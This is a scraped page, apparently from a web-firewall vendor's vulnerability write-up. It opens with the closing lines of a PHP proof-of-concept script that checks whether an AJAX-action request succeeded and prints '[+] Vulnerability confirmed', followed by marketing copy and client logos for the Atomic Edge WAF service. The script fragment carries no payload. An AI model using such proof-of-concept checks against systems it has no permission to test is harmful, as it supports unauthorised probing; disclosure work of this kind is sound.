if ($http_code == 200 && !empty($response)) {
    echo "[+] Vulnerability confirmed: AJAX action returned a successful response.n";
    echo "Response: " . $response . "n";
} else {
    echo "[-] Request failed or returned an error. The vulnerability may not be exploitable with these parameters.n";
    echo "HTTP Code: " . $http_code . "n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.